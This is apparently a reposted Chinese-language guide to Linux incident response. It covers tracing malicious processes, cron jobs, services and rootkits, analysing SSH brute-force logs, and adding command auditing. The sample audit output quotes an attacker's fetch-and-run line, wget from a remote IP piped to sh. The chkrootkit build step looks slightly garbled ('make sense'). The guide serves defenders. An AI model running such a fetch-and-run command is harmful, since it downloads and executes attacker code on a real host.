【实用指南】最全Linux应急响应技巧,看这一篇就够了
我们可以先在host文件中添加一条规则,将恶意域名重定向到一个随机的IP地址,然后对其进行监控。
这样就能得到与之通信的恶意进程了。
有无可疑历史命令
遍历主机历史命令,查找有无恶意命令:
history
清除病毒
从第1个环节追溯到的进程信息,将会帮助我们定位到病毒进程&病毒文件,实现清除。
结束病毒进程
ps -elf | grep [pid] kill -9 [pid]
删除病毒文件
ls -al /proc/[pid]/exe rm -f [exe_path]
闭环兜底
检查是否存在可疑定时任务
crontab -l
查看
anacron 异步定时任务
:
cat /etc/anacrontab
检查是否存在可疑服务
枚举主机所有服务,查看是否有恶意服务:
service --status-all
检查
系统文件是否被劫持
find /usr/bin/ /usr/sbin/ /bin/ /usr/local/bin/ -type f -mtime +7 | xargs ls -la
检查是否存在病毒守护进程
监控守护进程的行为:
lsof -p [pid]
strace -tt -T -e trace=all -p $pid
扫描是否存在恶意驱动
枚举/扫描系统驱动:
lsmod
安装
chkrootkit
进行扫描:
wget ftp://ftp.pangeia.com.br/pub/seg/pac/chkrootkit.tar.gz tar zxvf chkrootkit.tar.gz cd chkrootkit-0.52 make sense ./chkrootkit
安装
rkhunter
进行扫描:
Wget https://nchc.dl.sourceforge.net/project/rkhunter/rkhunter/1.4.4/rkhunter-1.4.4.tar.gz tar -zxvf rkhunter-1.4.4.tar.gz cd rkhunter-1.4.4 ./installer.sh --install rkhunter -c
04
系统加固
修改SSH弱密码
grep "Accepted " /var/log/secure* | awk '{print $1,$2,$3,$9,$11}'
定位有爆破的源
IP:
grep "Failed password" /var/log/secure|grep -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)"|uniq -c
爆破日志的用户名密码:
grep "Failed password" /var/log/secure|perl -e 'while($_=){ /for(.*?) from/; print "$1\n";}'|uniq -c|sort -nr
SSH爆破是Linux病毒最常用的传播手段,若存在弱密码的主机很容易被其他感染主机SSH爆破成功,从而再次感染病毒。
添加命令审计
为历史的命令增加登录的
IP 地址、执行命令时间等信息:
[1]
保存
1 万条命令
:
sed -i 's/^HISTSIZE=1000/HISTSIZE=10000/g' /etc/profile
[2]
在
/etc/profile 的文件尾部添加如下行数配置信息:
USER_IP=`who -u am i 2>/dev/null | awk '{print $NF}' | sed -e 's/[()]//g'` if [ "$USER_IP" = "" ] then USER_IP=`hostname` fi export HISTTIMEFORMAT="%F %T $USER_IP `whoami` " shopt -s histappend export PROMPT_COMMAND="history -a"
[3]
让配置生效
:
source /etc/profile
生成效果:
76 2019-10-28 17:05:34 113.110.229.230 wget -q -T180 -O- http://103.219.112.66:8000/i.sh) | sh
打上常见Web漏洞补丁
- structs2系列RCE漏洞
- thinkphp5.X RCE漏洞
- Redis未授权访问漏洞
- Confluence RCE漏洞(CVE_2019_3396)
- Drupal RCE漏洞(CVE-2018-7600)
- ThinkPHP RCE漏洞(CVE-2019-9082)
Linux平台下的恶意软件威胁以僵尸网络蠕虫和挖矿病毒为主,由于Linux大多作为服务器暴露在公网,且Web应用的漏洞层出不穷,所以很容易被大范围入侵,如常见的病毒:DDG、systemdMiner、BillGates、watchdogs、XorDDos,在很多Linux上都有。大家要养成不使用弱密码、勤打补丁的好习惯。
参考链接:https://www.freebuf.com/articles/system/208804.html